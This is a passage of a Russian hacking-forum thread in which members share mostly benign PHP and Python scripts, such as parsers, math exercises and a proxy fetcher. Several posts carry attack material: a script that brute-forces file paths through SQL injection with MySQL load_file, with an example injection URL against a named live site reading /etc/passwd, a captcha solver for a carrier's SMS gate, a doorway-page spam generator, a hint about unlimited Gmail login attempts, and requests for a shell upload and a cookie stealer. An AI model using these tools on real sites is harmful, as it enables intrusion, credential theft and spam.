Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Нарыл у себя функцию получения страницы с возможностью работы через http-proxy:
    PHP:
    function socket_do($action$method$headers$query ''$proxy '')
    {
        
    $fp '';
        
    $head '';
        
        
    $action str_replace('http://'''$action);
        
    $for_s_conn substr($action0strpos($action'/'));
        
    $method strtoupper($method);
        
        if(!empty(
    $proxy))
        {
            
    $ex explode(':'$proxy);
            if(!
    $fp = @fsockopen($ex['0'], $ex['1'], $errno$errstr15))
                die(
    $errstr);
        }
        else
        {
            if(!
    $fp = @fsockopen($for_s_conn80$errno$errstr15))
                die(
    $errstr);
        }

        
        if(
    $method == 'POST')
        {
            
    $head "POST http://$action HTTP/1.1\r\n";
            
    $head .= "Content-length: ".strlen($query)."\r\n";
        }
        elseif(
    $method == 'GET')
            
    $head "GET http://$action HTTP/1.1\r\n";
        else
            die(
    'Выбран не существующий метод');

        
    $head .= "Connection: close\r\n";
        
    $head .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\r\n";
        
    $head .= "Host: $for_s_conn\r\n".implode("\r\n"$headers)."\r\n\r\n";
        
        if(
    $method == 'POST')
            
    $head .= $query;
            
        if(@!
    fwrite($fp$head))
        {
            die(
    $errstr);
        }
        
        
    $result '';
        while(!
    feof($fp))
            
    $result .= @fgets($fp8196);
            
        
    fclose($fp);

        return 
    $result;
    }
     
    1 person likes this.
  2. Mirella

    Mirella New Member

    Joined:
    30 Jul 2008
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    есть у кого нибудь скрипт ,что при вставлении в картинку и заливки на сервер откроет все его директории и может скачать файлы.

    также нужен хороший скриптик угона кук )
     
    #582 Mirella, 28 Jan 2009
    Last edited: 28 Jan 2009
  3. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    1. а ключ от квартиры где деньги лежат?
    мб ты имел ввиду шелл, который можно залить с нужным именем а потом исполнить?
    2. что значит скрипт угона кук ? в смысле гейт куда будут приниматся угнаные?
     
  4. nicusor

    nicusor Elder - Старейшина

    Joined:
    19 Mar 2008
    Messages:
    105
    Likes Received:
    38
    Reputations:
    0
    задания для РОА

    Задание: хранимая функция MySQL для чисел фибоначи.
    SELECT FIBONACHI(5);


    Code:
    delimiter $$
    create function fibonacci(n INT)
    returns int
    BEGIN
    declare fib int;
    declare x int;
    declare y int;
    set x = 0; 
    set y = 1;
    set fib = 0;
     while n > 0 do 
     set x = y;
     set y = fib;
     set fib = x + y;
     set n = n - 1; 
    end while;
    return (fib);
    end$$
    delimiter ;
    select fibonacci(5);


    Задача: Написать программу выполняющее деления одного числа на другое столбиком (как в младших классах школы)
    Вывод: результат, остаток

    Изменил скрипт

    PHP:
    <?php 
    $input 
    file('input.txt');
    $output fopen('output.txt''w');
    foreach (
    $input as $lines => $line)
    {
     list(
    $num1,$num2) = explode(" "$line);
     if ( 
    $num2 == 0
         {
             
    fwrite($output"Division by 0\n");
         } 
     else
         {
             
    $result =  floor($num1 $num2);
             
    $result1 $num1 $num2
             
    fwrite($output$result " " $result1 "\n");
         }
    }
    ?>
     
    #584 nicusor, 29 Jan 2009
    Last edited: 2 Feb 2009
    1 person likes this.
  5. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    Парсер (граббер) bash.org.ru

    PHP:
    <?php
    $page 
    file_get_contents('http://bash.org.ru/');
    preg_match_all('|<div>(.+)</div>|',$page,$result);
    echo 
    $result[1][rand(0,9)];
    ?>
     
    2 people like this.
  6. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Написал брутер путей в инъекциях при file_priv=on, может кому-нибудь пригодится...
    http://forum.antichat.ru/thread49775.html -- здесь можно собрать неплохой словарик для скрипта
    PHP:
    <form action="" medhod="get">
    Injection:<input type="text" size= name="host"><br>
     <input type="submit" value="Send">
    </form>

    <?php
    /* В поле "Injection" требуется ввести строку с подобранным количеством полей
    и в принтабельном поле ввести <file> ;
    =Пример=
    имеется инъекция, с возможностью чтения файлов:
    http://www.jfanow.org/jfanow/index.php?mode=P&id=-2913+union+select+1,load_file('/etc/passwd'),3,4,5,6,7/*
    Следовательно, в форму нужно добавить:
    http://www.jfanow.org/jfanow/index.php?mode=P&id=-2913+union+select+1,<file>,3,4,5,6,7/*
    P.S.
    #=Gr3tzz to Grey =#
    #Coded by IceAngel_#  */
    set_time_limit(0);
    $dic file("words.txt"); //словарь с путями
    if (isset($_GET['host'])){
    foreach (
    $dic as $patch ){
    $patch str_replace("\n"""trim($patch)); 
    $test str_replace("<file>""if(load_file(0x".bin2hex($patch).")+is+null,null,3705)"$host); 
    $s file_get_contents($test); 
    if (
    strpos($s,'3705')) 
    { echo 
    $patch."<br>";}}} 
    ?>

     
    #586 Iceangel_, 29 Jan 2009
    Last edited: 29 Jan 2009
    3 people like this.
  7. procedure

    procedure Elder - Старейшина

    Joined:
    22 Dec 2007
    Messages:
    527
    Likes Received:
    257
    Reputations:
    46
    В gmailé нашел, фишечку, mail.google.com/mail/feed/atom - вроде как авторизироватся можно сколько влезит. мб, кому полезно будет.
     
    2 people like this.
  8. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    fc0d3r

    Code:
    #!/usr/bin/env python
    # by faza02
    # antichat.ru
    import md5, urllib, base64, sha
    print 'fc0d3r by faza02\n  sql.parsers.info'
    
    while 1:
     ena=raw_input(u'lin3: ')
     print 'sha-1: ' + sha.new(ena).hexdigest()
     print 'hex: 0x' + base64.binascii.hexlify(ena)
     print 'base64: ' + base64.binascii.b2a_base64(ena)
     print 'md5: ' + md5.new(ena).hexdigest()
     print 'url: ' + urllib.quote(ena)
     for i in range(len(ena)):
      print str(ord(ena[i]))+',',
     try: print '\nunhex: ' + base64.binascii.unhexlify(ena)
     except: print 'unhex: n0 d3c0ded..'
     try: print 'unbase64: ' + base64.binascii.a2b_base64(ena)
     except: print 'unbase64: n0 d3c0ded..'
     try: print 'unurl: ' + urllib.unquote(ena)
     except: print 'unurl: n0 d3c0ded..'
    :eek:
     
    _________________________
    2 people like this.
  9. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    Мое первое творение.Критика приветствуется
    Парсер башорга с указанием кол-ва цитат + приятный диз :)
    PHP:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
    "http://www.w3.org/TR/html4/loose.dtd"> 
    <html> 
    <head> 
    <title>Bash.Org.Ru Reader</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> 
    <link rel="stylesheet" href="includes/modalbox.css" type="text/css" media="screen" /> 
    <style type="text/css">body, input, select {font-family : Arial, sans-serif;}

    input, select, textarea {
        background: #C0FF82;
        border: 1px dotted Green;
        color: Black;
        margin-bottom: 5px;
    }

    form {
        border: 1px dotted Green;
        color: Black;
        padding-left: 5px;
        padding-top: 3px;
        margin-bottom: 3px;
    }

    body {
        background-color: #FEFF68;
        margin: 0px;
        padding: 2px;
        color: Black;
        font-size: small;
    }

    img {vertical-align: bottom;}
    a {
        color: Blue;
    }
    a:hover {color: Blue;}
    a:link {color: Blue;}
    a:visited {color: Blue;}
    a:active {
        color: Blue;
    }
    h3 {
    margin: 3px;
    }

    div.head {
        background-color: #C0FF82;
        border: thin dashed Green;
        text-align: center;
        padding: 5px;
        margin-bottom: 2px;
    }

    div.title {
        background-color: #C0FF82;
        border: thin dashed Green;
        text-align: left;
        padding: 3px;
        margin-bottom: 2px;
    }

    div.body {
        text-align: center;
        padding-bottom: 5px;
    }

    div.bodyleft {
        text-align: left;
        padding-bottom: 5px;
    }

    div.body_t {
        border-left: thin dashed Green;
        border-right: thin dashed Green;
        border-top: thin dashed Green;
        margin-top: 5px;
        margin-bottom: 2px;
    }

    div.body_h {
        text-align: center;
        background-color: #C0FF82;
        padding: 3px 3px 3px 3px;
    }

    div.privat_from {
        background-color: #9ACD34;
        color: Black;
    }

    div.privat_to {
        background-color: #D98D00;
        color: Black;
    }

    div.foot {
        background-color: Green;
        text-align: center;
        font-size: 10px;
    }

    span.foot {
        background-color: Green;
        color: Yellow;
    }

    a.priv {
        color: Black;
        }</style></head> <body>

    <?php
    error_reporting
    (0);

    $action=$_POST['action'] ;
    $action=ereg_replace("[^0-9]""60"$action);
    if (
    $action>51)
    { echo 
    "Не корректно<br>
    <form method='post' action=''>
    <INPUT TYPE='submit' VALUE='Ввести еще раз'>
    <input type='hidden' name='lol' value='false'>
      </form><br><br>"
    ;break; }

    if (
    $_POST['lol']=='true'){


    echo 
    "<form method='post' action=''>
    <INPUT TYPE='submit' VALUE='Новое значение'>
    <input type='hidden' name='lol' value='false'></form><br><br>"
    ;
    $page file_get_contents('http://bash.org.ru/');  
    preg_match_all('|<div>(.+)</div>|',$page,$result); 
    for(
    $i=0;$i<$action;$i++){ 
    if ((
    $i<>10)) {


    echo 
    "<font color=black>".$result[1][$i]."</font><br><br><div class='title' id='6689'></div><br>";}

    }

    echo 
    "<form method='post' action=''>
    <INPUT TYPE='submit' VALUE='Новое значение'>
    <input type='hidden' name='lol' value='false'></form><br>"
    ;


    }
    else { echo 
    "Введите количество первых цитат на странице <b>(от 1 до 51)</b> <br>
    <form method='post' action=''>
           <input type='text' name='action' value='' size=2>
          <INPUT TYPE='submit' VALUE='Передать'>
    <input type='hidden' name='lol' value='true' > </form>"
    ;}
    echo 
    "(с) <b><a href='http://forum.antichat.ru/member.php?u=56330'>fatalo</a href></b>";

    ?>
    </div> 
    </form> 
    </div> 
    <div> 
    </div> 
    </body> 
    </html> 
     
    #589 fatalo, 6 Feb 2009
    Last edited: 6 Feb 2009
  10. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    Simple reCaptcha by mr.The

    PHP:
    <?php
    /**
    * Name: Simple reCaptcha 
    * Author: mr.The
    * Icq: 11889888
    * Jabber: [email protected]
    * Description: Функция распознавания примитивной цифровой капчи(Раньше такая была на beesms.beeline.ua). Таблица соответствий составлена для него. можно попробовать изменить на другуй примитивную капчу. Удачи.
    * Use: В качестве параметра функция принимает адрес к капче.
    **/
        
    function get_captcha($name){
        
    $chars=array( // chr array
    "0000000011110000000000000001111110000000000000110000110000000000011000000110000000000110000001100000000000110000110000000000000111111000000000000000111100000000" => "0",
    "000000110000001000000000011111111110000000000111111111100000" => "1",
    "00000011000001100000000001100000111000000000010000011010000000000100001100100000000001100110001000000000001111000010000000000001100000100000" => "2",
    "0000010001000010000000000100010000100000000001101110011000000000001110111100000000000001000110000000" => "3",
    "000000000111000000000000000011010000000000000001100100000000000000110001000000000000011111111110000000000111111111100000" => "4",
    "0000011111001000000000000111110011000000000001000100011000000000010010000010000000000100100000100000000001001100011000000000010001111100000000000000001110000000" => "5",
    "00000001111110000000000000111111110000000000011000100110000000000100010000100000000001000100001000000000011001100110000000000011001111000000" => "6",
    "0000010000000110000000000100000011100000000001000001100000000000010000110000000000000100011000000000000001001100000000000000011110000000000000000111000000000000" => "7",
    "0000000100011000000000000011101111000000000001101110011000000000010001000010000000000100010000100000000001101110011000000000001110111100000000000001000110000000" => "8",
    "00000011110011000000000001100110011000000000010000100010000000000100001000100000000001100100011000000000001111111100000000000001111110000000" => "9");


        
    $image=ImageCreateFromJpeg($name);
        
        
    $K=100// коэф. черного цвета.
        
        
    $x_max=50//размер картинки 
        
    $y_max=20//размер картинки
        
    $char_num=0;
        
    $column_num=0;
        for(
    $x=0;$x<$x_max;$x++){
            
    $sum=0;
            
    $str="";
            for(
    $y=0;$y<$y_max;$y++){
                
    //if($y==0) echo "<br>";
                    
                
    $color=imagecolorsforindex($imageimagecolorat($image$x$y)); 
                if(
    $color['red']<=$K and $color['green']<=$K and $color['blue']<=$K) { // вычислям черный или нет. 1 или 0 соответственно.
                    
    $str.="1";
                    
    $sum++;
                }    else { 
                    
    $str.="0"
                }
                
            };
            if(
    $sum>2) {
                @
    $char[$char_num].=$str;
                
    $column_num++;
            } else {
                
    $char_num++;
                
    $column_num=0;
            };
        
        };
        
        foreach(
    $char as $key => $value){
            if(
    strlen($value)<60) unset($char[$key]);
        };
        
        
        
    $capcha="";
        foreach(
    $char as $key){
        
            if(isset(
    $chars[$key])) $capcha.=$chars[$key]; else $capcha.="X"// если не распознали символ, то X.
        
    }
        
        return 
    trim($capcha);

        
    ImageDestroy($image);
    }
    ?>
    кагбэ вот. выложил за неактуальностью. можно попробовать переделать под аналогичную капчу, либо найти такую-же. Распознавал капчи вида [​IMG] со 100% вероятностью.

    ЗЫ. пробелов в таблице соответствий НЕТ.
    ЗЫЫ. по просьбам трудящихся: линк
     
    #590 mr.The, 6 Feb 2009
    Last edited: 7 Feb 2009
    2 people like this.
  11. art2222

    art2222 Elder - Старейшина

    Joined:
    28 Apr 2008
    Messages:
    118
    Likes Received:
    57
    Reputations:
    10
    Функция возвращает строку с выделенными ссылками.
    Т.е. передаем: Зайдите на сайт www.site.ru
    Возвращает: Зайдите на сайт <a href="http://www.site.ru">www.site.ru</a>

    PHP:
        function light_urls($document)
        {    
            return 
    preg_replace("/(http:\\/\\/|www.)(\\S+)/si",
                                
    "<a href=\"http://\\2\">\\2</a>",
                                
    $document);
        }
    ЗЫ может кому пригодится.
     
    1 person likes this.
  12. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    Симулятор кидания костей.Показывает количество выпавших комбинаций,количество киданий и сумму всех выпавших чисел(switch case не использовал по определённым причинам)
    PHP:
    <b><font color="red">Симулятор кидания костей</font></B>
    <?
    for
    ($i=1;$i<=20000;$i++)
    {
        $z=rand(1,6);
        $c=rand(1,6);
        $m=$z+$c;
        $y=$y+$m;


    if ($m==2)
    { $w2=$w2+1;}
    if ($m==3)
    { $w3=$w3+1;}
    if ($m==4)
    { $w4=$w4+1;}
    if ($m==5)
    { $w5=$w5+1;}
    if ($m==6)
    { $w6=$w6+1;}
    if ($m==7)
    { $w7=$w7+1;}
    if ($m==8)
    { $w8=$w8+1;}
    if ($m==9)
    { $w9=$w9+1;}
    if ($m==10)
    { $w10=$w10+1;}
    if ($m==11)
    { $w11=$w11+1;}
    if ($m==12)
    { $w12=$w12+1;}

    }

    echo "<br><b>2</b>: ".$w2."<br>";echo "<b>3</b>: ".$w3."<br>";echo "<b>4</b>: ".$w4."<br>";echo "<b>5</b>: ".$w5."<br>";echo "<b>6</b>: ".$w6."<br>";echo "<b>7</b>: ".$w7."<br>";echo "<b>8</b>: ".$w8."<br>";echo "<b>9</b>: ".$w9."<br>";echo "<b>10</b>: ".$w10."<br>";echo "<b>11</b>: ".$w11."<br>";echo "<b>12</b>: ".$w12."<br>";
    echo "<b>Количество бросков:</b> ".$i."<br>";
    echo "<b>Общая сумма:</b> ".$y;

    ?>
    <br><font color="gray">Показывает количество выпавших комбинаций,количество киданий и сумму всех выпавших чисел
    <br>by <b><a href='http://forum.antichat.ru/member.php?userid=56330'>fatalo</a href></b></font>
    ВСЕ коментарии приветствуются!
     
    #592 fatalo, 7 Feb 2009
    Last edited: 7 Feb 2009
  13. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    Counter (графический счётчик на сайт)

    RCounter 1.3
    Графический счётчик на сайт.

    Требуется:
    - PHP
    - GD2

    В архиве:
    counter.php - сама программа (ссылаться как на картинку)
    counter.txt - база данных (дата, хиты, хосты, ипы...)
    cImg_1.png - фоновый рисунок
    cImg_2.png - второй фоновый рисунок
    cImg_1.psd - PSD файл фонового рисунка

    База данных вида:
    Code:
    182:13:08.02.09:237:28
    212.3.144.173
    94.179.98.182
    81.25.36.188
    89.250.2.150
    93.189.204.67
    89.105.226.15
    79.172.28.66
    80.81.223.50
    93.100.248.127
    213.231.37.30
    87.228.83.23
    92.100.6.99
    212.3.144.54
    
    Первая строка содержит Хиты_за_день:Хосты_за_день:Сегодняшнюю_дату:Все_хиты:Все_хосты

    Последующие строки содержат IP адреса зашедших за сегодняшний день.

    [​IMG]

    Качнуть
     
    #593 Ru}{eeZ, 7 Feb 2009
    Last edited: 8 Feb 2009
  14. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Парсер башорга, приятный вывод в файл, глаза не режет...

    PHP:
    # -*- coding: cp1251 -*-
    #BashOrg Parser
    #c0ded By De-v aka De-visible
    #http://forum.devisible.ru
    #http://forum.antichat.ru
    #HomePage: http://devisible.ru/wordpress/?p=109

    import urllib,re,time


    page
    ="300" #Страница которую парсить...
    URLtext=urllib.urlopen("http://bash.org.ru/index/"+page)
    txt=URLtext.read()
    txt_=re.findall(r"<div>(.*?)<\/div>",txt.decode('cp1251'))
    f=open("Bash.htm","a")
    f.write('<html><body bgcolor="#666666" text=\"#D2D2D2\">')
    for 
    g in xrange(len(txt_)):
        
    f.write('\n<br>'+'<div align="center">\
        <table border="1" width="100%" cellspacing="1" id="table1">\
        <tr>\
        <td bordercolor="#C0C0C0"><br>\
        <code><blockquote><p>'
    +txt_[g].encode('cp1251')+'</p></blockquote><br>\
        &nbsp;</code></td>\
        </tr>\
        </table>\
        </div>'
    +'<br><br>\n')
    f.write('</body>\n</html>\n')
    f.close
    print u"Готово"
    while 1:
        
    time.sleep(5)
    + в аттаче...

    http://devisible.ru/wordpress/?p=109
    http://forum.devisible.ru
     

    Attached Files:

    #594 De-visible, 9 Feb 2009
    Last edited: 9 Feb 2009
    3 people like this.
  15. KATYA

    KATYA Active Member

    Joined:
    9 Feb 2009
    Messages:
    236
    Likes Received:
    121
    Reputations:
    9
    Простенький генератор дорвеев. Создаёте две папки out и tpl, в первой будут сгенерированные страницы, а в tpl должен лежать шаблон генерируемой страницы. Скрипт работает и с русскими ключевыми словами.

    index.php
    PHP:
    <?php    if ($_POST['generate']) {      generate();  }else {      main_form();  }        function generate() {      $p=array();      if ($_POST['tpl'] && $_POST['keywords']) {          $_POST['keywords']=ereg_replace("(\r\n|\r)","\n",$_POST['keywords']);          $keys=explode("\n",trim($_POST['keywords']));            /* create pages array */          for($i=0;$i<intval($_POST['count']);$i++) {              list($k,$v)=each($keys);              if (!$v) {                  reset($keys);                  list($k,$v)=each($keys);              }              if (in_array(trim($v),$p)) {                  $v=trim($v).'_'.$i;              }              $p[]=trim($v);          }                      /* prepare template */          $tpl=implode('',file('./tpl/'.$_POST['tpl']));            /* generate links */          $z=1;          reset($p);          while(list($k,$v)=each($p)) {              $name=str_replace(' ','_',$v);              $l.='<a href="'.trim($z++).'.html">'.trim($v).'</a> ';          }            /* generate pages */          reset($p);          while(list($k,$v)=each($p)) {              $k++;              $name=trim($k++);                $tpl_out=str_replace('{TITLE}',$v,$tpl);              $tpl_out=str_replace('{KEYWORDS}',ereg_replace("(\r\n|\n|\r)","",implode(', ',$keys)),$tpl_out);              $tpl_out=str_replace('{DESC}',ereg_replace("(\r\n|\n|\r)","",implode(' ',$keys)),$tpl_out);              $tpl_out=str_replace('{LINK}',$l,$tpl_out);              $tpl_out=str_replace('{I}',$k,$tpl_out);              $tpl_out=str_replace('{ENTER}',trim($_POST['enter']),$tpl_out);                $fp=fopen('./out/'.$name.'.html','w');              fwrite($fp,$tpl_out);              fclose($fp);              print 'pages created -> '.$name.'.html<br>';              flush();          }          print '<font size=7 color="#FF0000">Захуярено!</font>';      }else {          print 'Блядь! Шаблон и слова где ****? <br>';      }  }    function main_form() {      ?>      <table width="400" border="0" cellspacing="2" cellpadding="0" align="center">          <form action="" method="post">          <tr>              <td>Стараниц стока:</td>              <td><input type="text" name="count" size="5" maxlength="5" value="5"></td>          </tr>          <tr>              <td><br>Вот шаблон:<br><br><br></td>              <?php              $a=array();              if ($handle opendir('./tpl')) {                  while (false !== ($file readdir($handle))) {                      if ($file != "." && $file != ".." && is_file('./tpl/'.$file)) {                          $a[]=$file;                      }                  }                  closedir($handle);              }              ?>              <td><select name="tpl">                      <?php while(list($k,$v)=each($a)) {?>                      <option value="<?php print $v;?>"><?php print $v;?></option>                      <?php ?>                  </select>              </td>          </tr>          <tr>              <td><br>Куда потом:<br><br><br></td>              <td><input type="text" name="enter" size="40" value="http://"></td>          </tr>          <tr>              <td>Ключевые словишки:</td>              <td><br>  <textarea cols="30" rows="10" name="keywords">  слово  слово 2  и так далее  </textarea>              </td>          </tr>          <tr><td colspan="2"><input type="submit" name="generate" value="Захуярить!"></td></tr>          </form>      </table>      <?php  }    ?>
    tpl.html

    HTML:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">  <html>  <head>  <title>{TITLE}</title>  <meta http-equiv="KEYWORDS" content="{KEYWORDS}">  <meta http-equiv="DESCRIPTION" content="{DESC}">  </head>  <body>  <br>  <br>  <br>  <div align="center"><a href="{ENTER}">ENTER</a></div>  <br>  <br>  <br>  <div align="center">{LINK}</div>  </body>  </html>
    Разумеется index.php должен лежать в корне.
     
  16. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    Деление столбиком

    PHP:
    <?php
    /**
    * Ф-ция выполняющая деления одного числа на другое столбиком (как в младших классах школы)
    * Диапазон допустимых значений: Только положительные числа длинной от 1 до 100 символов.

    * $a - Делимое
    * $b - Делитель

    * Возвращаемый результат: array(int Результат, int Остаток)

    * Коды ошибок:
    * -1 = Делимое не попадает в допустимый диапазон
    * -2 = Делитель не попадает в допустимый диапазон
    * -3 = Делитель больше делимого
    * -4 = Делитель <= 0
    * -5 = Делимое  <= 0
    */

    function columnDivision($a$b)
    {
        
    $a strval($a);
        
    $b strval($b);
        
    $aLen strlen($a);
        
    $bLen strlen($b);
        
        if (
    $aLen || $aLen 100) return -1;
        if (
    $bLen || $bLen 100) return -2;
        if (
    $b $a)              return -3;
        if (
    $b <= 0)              return -4;
        if (
    $a <= 0)              return -5;
        
        
        
        
    $rest substr($a0$bLen);
        
    $result "";
        
        for(
    $i $bLen$i <= $aLen$i++) {
            
    $j 0;
            while(
    $rest >= $b) {
               
    $j++;
               
    $rest -= $b
            }
            
    $result .= $j;
            if (isset(
    $a[$i])) $rest .= $a[$i];
        }
        
        return array(
    intval($result), intval($rest));
    }

    if (
    file_exists("input.txt")) {
        
    $bufer file_get_contents("input.txt");
        
    $arInput explode(" "$bufer);
        
    $arResult columnDivision(intval($arInput[0]), intval($arInput[1]));
        
    file_put_contents("output.txt"implode(" "$arResult));
        echo 
    'Division is complite. Result write in file <b>output.txt</b>';
    } else {
        echo 
    'No input file. <b>:(</b>';
    }
     
  17. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Прокси-граббер с сайта Samair.ru

    Скрипт грабит HTTP прокси с первых 3-х страниц сайта samair.ru

    PHP:
    <?
    for(
    $i=1;$i<3;$i++){
    $file file_get_contents('http://www.samair.ru/proxy/proxy-0'.$i.'.htm') ; 
    preg_match_all('#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,5}#'$file$out); 

    foreach(
    $out[0] as $line)
         {
         print 
    $line."<br>";
         }
    }
    ?>
     
    #597 Gaus, 12 Feb 2009
    Last edited: 18 Feb 2009
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ыыыыы, а так?

    PHP:
    <Pre>
    <? 
    @set_time_limit(0); 
    @ini_set("display_errors","1");

    $kol = 1; // Кол-во страниц
    if ($kol<10) $kol="0$kol";
    While ($i<=$kol) {
    $i++;

      $file = file_get_contents('http://www.samair.ru/proxy/proxy-' .$kol. '.htm') ;   
      preg_match_all('/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\:[0-9]+)/is', $file, $out);  
      foreach($out[0] as $line) 
         { 
         echo "$line\n"; 
         } 
    }    
    ?>
    </pre>

     
    #598 Pashkela, 12 Feb 2009
    Last edited: 12 Feb 2009
  19. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Pashkela я новичок в коддинге ;)
    Можно в принципе и так,но скорость работы же не увеличивается...
     
    1 person likes this.
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Да нет, всё нормально, просто тут продвинутый сайт бол-мен, по этому принято обычно выкладывать действительно полезные скрипты, а не какие-то свои первые наработки. Без обид.